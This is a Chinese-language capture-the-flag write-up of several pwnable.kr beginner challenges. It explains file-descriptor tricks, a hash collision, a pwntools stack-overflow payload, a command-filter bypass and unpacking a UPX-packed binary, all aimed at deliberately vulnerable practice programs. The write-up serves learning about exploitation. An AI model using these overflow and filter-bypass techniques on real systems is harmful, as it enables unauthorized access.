0x0 Toddler’s Bottle
0x00 fd
首先稍微学习一下file descriptor ,然后登录上去看看到底是什么情况。
1 2 3 4 5 6 7 8 9 10 11 fd@ubuntu:~$ ls -alh total 40K drwxr-x--- 5 root fd 4.0K Oct 26 2016 . drwxr-xr-x 92 root root 4.0K Aug 12 10:28 .. d--------- 2 root root 4.0K Jun 12 2014 .bash_history -rw------- 1 root root 128 Oct 26 2016 .gdb_history dr-xr-xr-x 2 root root 4.0K Dec 19 2016 .irssi drwxr-xr-x 2 root root 4.0K Oct 23 2016 .pwntools-cache -r-sr-x--- 1 fd_pwn fd 7.2K Jun 11 2014 fd -rw-r--r-- 1 root root 418 Jun 11 2014 fd.c -r--r----- 1 fd_pwn root 50 Jun 11 2014 flag
可以看到除了隐藏文件就是 fd fd.c flag ,所以目标就是获取flag中的内容然后提交到网站上。
但是由于权限问题我们是不能直接查看flag文件的,实际上在不能成为root的情况下只有通过可执行文件fd才有可能操作flag文件,因为fd带有Set UID 权限,在它运行的时候可以暂时获得fd_pwn这个用户的权限。那么剩下的那个fd.c文件可以推测是fd文件的源代码。
另外,fd用户对当前目录没有write 权限,所以要通过查看fd.c分析fd的行为。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32 ];int main (int argc, char * argv[], char * envp[]) { if (argc<2 ){ printf ("pass argv[1] a number\n" ); return 0 ; } int fd = atoi( argv[1 ] ) - 0x1234 ; int len = 0 ; len = read(fd, buf, 32 ); if (!strcmp ("LETMEWIN\n" , buf)){ printf ("good job :)\n" ); system("/bin/cat flag" ); exit (0 ); } printf ("learn about Linux file IO\n" ); return 0 ; }
程序里用到的file descriptor 竟然不是open 返回的,而是根据命令行参数变换出来的,也就是说要给出一个数字,使得这个数字作为文件描述符对应的文件里的内容是特定的字符串。这在正常情况下是不可能的,因为一个文件的文件描述符只在同一个进程里是确定的,更何况当前用户也不能新建文件。但是UNIX下确实有三个文件的文件描述符是绝对确定 的,它们就是 stdin stdout stderr 。所以只要让fd
变量等于0 ,我们就可以输入任意的内容,我觉得至少有三种方法:
非常普通的输入0x1234对应的十进制数,./fd 4660
看起来太fancy但是实际上非常有用的命令,涉及到shell语言的弱引用以及python的命令行执行字符串
1 ./fd `python -c "print 0x1234" `
gdb可用,应该可以直接set fd甚至set buf(没有实际尝试)
最后把打出来的内容贴到网站上这题就通过了。
0x01 collision
权限控制和目标之类的跟上一题都是一样的,之后都省略了。
home目录提供了可执行程序和C语言源程序,先看一下源程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC ;unsigned long check_password (const char * p) { int * ip = (int *)p; int i; int res=0 ; for (i=0 ; i<5 ; i++){ res += ip[i]; } return res; } int main (int argc, char * argv[]) { if (argc<2 ){ printf ("usage : %s [passcode]\n" , argv[0 ]); return 0 ; } if (strlen (argv[1 ]) != 20 ){ printf ("passcode length should be 20 bytes\n" ); return 0 ; } if (hashcode == check_password( argv[1 ] )){ system("/bin/cat flag" ); return 0 ; } else printf ("wrong passcode.\n" ); return 0 ; }
首先看到用法是命令行加一个字符串参数执行,字符串长度等于20才会进行之后的操作。然后看到check_password里面其实就是把4个char拼成1个int并全加起来。其实我们只需要4个就能控制最终结果,又因为\x00是C语言的字符串结束标志,我们可以前16个字节全都填\x01,然后计算一下最后4个字节应该是什么,注意一下小端序就可以。
1 ./col `python -c "print '\x01'*16 + '\xe8\x05\xd9\x1d'" `
NOTE: 最开始以为都要可打印字符暴力了很久。。。其实大概只要不包含控制字符就可以了?
0x02 bof
先把文件下载下来,稍微检查一下。
1 2 3 4 5 6 7 ➜ Documents checksec bof [*] '/home/zyyyyy/Documents/bof' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
源代码里有一个gets函数可以溢出。虽然开了金丝雀,反正还是拖进IDA看一看。一看,相对ebp寻址,那么首先输入偏移量这么多的字符,再输入4个字符覆盖栈中存的ebp,再输入4个字符覆盖栈中的返回地址,最后输入4个字符覆盖函数的第一个参数也就是key。这些可以参考C语言函数调用栈(一) 。
1 2 3 4 5 from pwn import *sh = remote('pwnable.kr' ,9000 ) payload = 'a' *0x2c + 'bbbb' + 'rrrr' + p32(0xcafebabe ) sh.sendline(payload) sh.interactive()
至于金丝雀为什么没有起作用其实从汇编层面更明显一点,实际上直到这个函数将要return的时候才会检查金丝雀值,然而程序执行到if然后马上又执行了一个system,也就是说在我们获得shell的时候还没金丝雀啥事,所以当然就可以啦。
0x03 flag
执行一下,就输出一句话,也不接收什么东西。。。
刚开始直接扔IDA了。。。然后看到了一大堆乱七八糟的东西。。。
1 2 3 4 5 6 7 8 9 ➜ Documents checksec flag [*] '/home/zyyyyy/Documents/flag' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments Packer: Packed with UPX
可以发现最下面出现一个packer,查一查UPX,开源软件而且可以直接apt装,装完以后解包再看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ➜ Documents upx -d flag Ultimate Packer for eXecutables Copyright (C) 1996 - 2013 UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013 File size Ratio Format Name -------------------- ------ ----------- ----------- 887219 <- 335288 37.79% linux/ElfAMD flag Unpacked 1 file. ➜ Documents checksec flag [*] '/home/zyyyyy/Documents/flag' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
正常了,再扔IDA里面,F5看了半天。后来觉得应该看一下所有string(Shift+F12),第一行就出现了UPX,长得就像flag,提交一下果然对了。对了之后再看,发现在汇编界面main函数puts往下第四行赫然就写着cs:flag。。。猜测是因为用了静态链接,导致IDA反编译输出的代码非常复杂,啥都看不太懂。。。
NOTE: 不能总是一上来就F5,不仅没啥提高还会导致丢失一些信息。。。
0x05 random
有源代码直接看源代码
1 2 unsigned int random;random = rand();
显然rand()
产生的是伪随机数,且不播种种子就是0,可以写个python算出应该输入的值
1 2 3 4 5 6 >>> from ctypes import *>>> libc = cdll.LoadLibrary("libc.so.6" )>>> r = libc.rand() >>> x = r ^ 0xdeadbeef >>> print x3039230856
0x08 mistake
直接看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int fd;if (fd=open("/home/mistake/password" ,O_RDONLY,0400 ) < 0 ){ printf ("can't open password %d\n" , fd); return 0 ; } printf ("do not bruteforce...\n" );sleep(time(0 )%20 ); char pw_buf[PW_LEN+1 ];int len;if (!(len=read(fd,pw_buf,PW_LEN) > 0 )){ printf ("read error\n" ); close(fd); return 0 ; }
显然两个if
处都有优先级的问题,会先进行<>的运算再进行赋值,所以在文件存在的情况下fd一定等于0,也就是一定从stdin读入。根据后面的逻辑,即输入两个串使得第一个串异或1之后等于第二个串就可以了,例如
0x0d cmd1
整个程序先putenv设置环境变量,然后filter过滤,最后由system函数执行。
虽然设置了环境变量,但只要使用绝对路径一样可以调用。
至于过滤也很好绕过。
1 2 ./cmd1 "/bin/cat f''lag" ./cmd1 "/bin/cat f*"
同理其实也可以进入cmd1_pwn组的shell
0x13 blukat
描述非常神奇的一道题,做法也很神奇。
登录上去以后看了一下代码,需要输入一个串使得跟password相等
查看一下权限,跟其他的题是一样的
1 2 3 4 5 6 7 8 9 blukat@ubuntu:~$ ls -alh total 36K drwxr-x--- 4 root blukat 4.0K Aug 15 22:55 . drwxr-xr-x 93 root root 4.0K Oct 10 22:56 .. dr-xr-xr-x 2 root root 4.0K Aug 15 22:55 .irssi drwxr-xr-x 2 root root 4.0K Aug 15 22:55 .pwntools-cache -r-xr-sr-x 1 root blukat_pwn 9.0K Aug 8 06:44 blukat -rw-r--r-- 1 root root 645 Aug 8 06:43 blukat.c -rw-r----- 1 root blukat_pwn 33 Jan 6 2017 password
尝试一下查看password
1 2 blukat@ubuntu:~$ cat password cat : password: Permission denied
看上去就像个权限不够的提示,但是实际上用more/less/vim就会发现问题。。。
其实这句话就是password文件的全部内容。。。
1 2 blukat@ubuntu:~$ id uid=1104(blukat) gid=1104(blukat) groups =1104(blukat),1105(blukat_pwn)
NOTE: 这个题目告诉我们当前的身份很重要,包括group权限!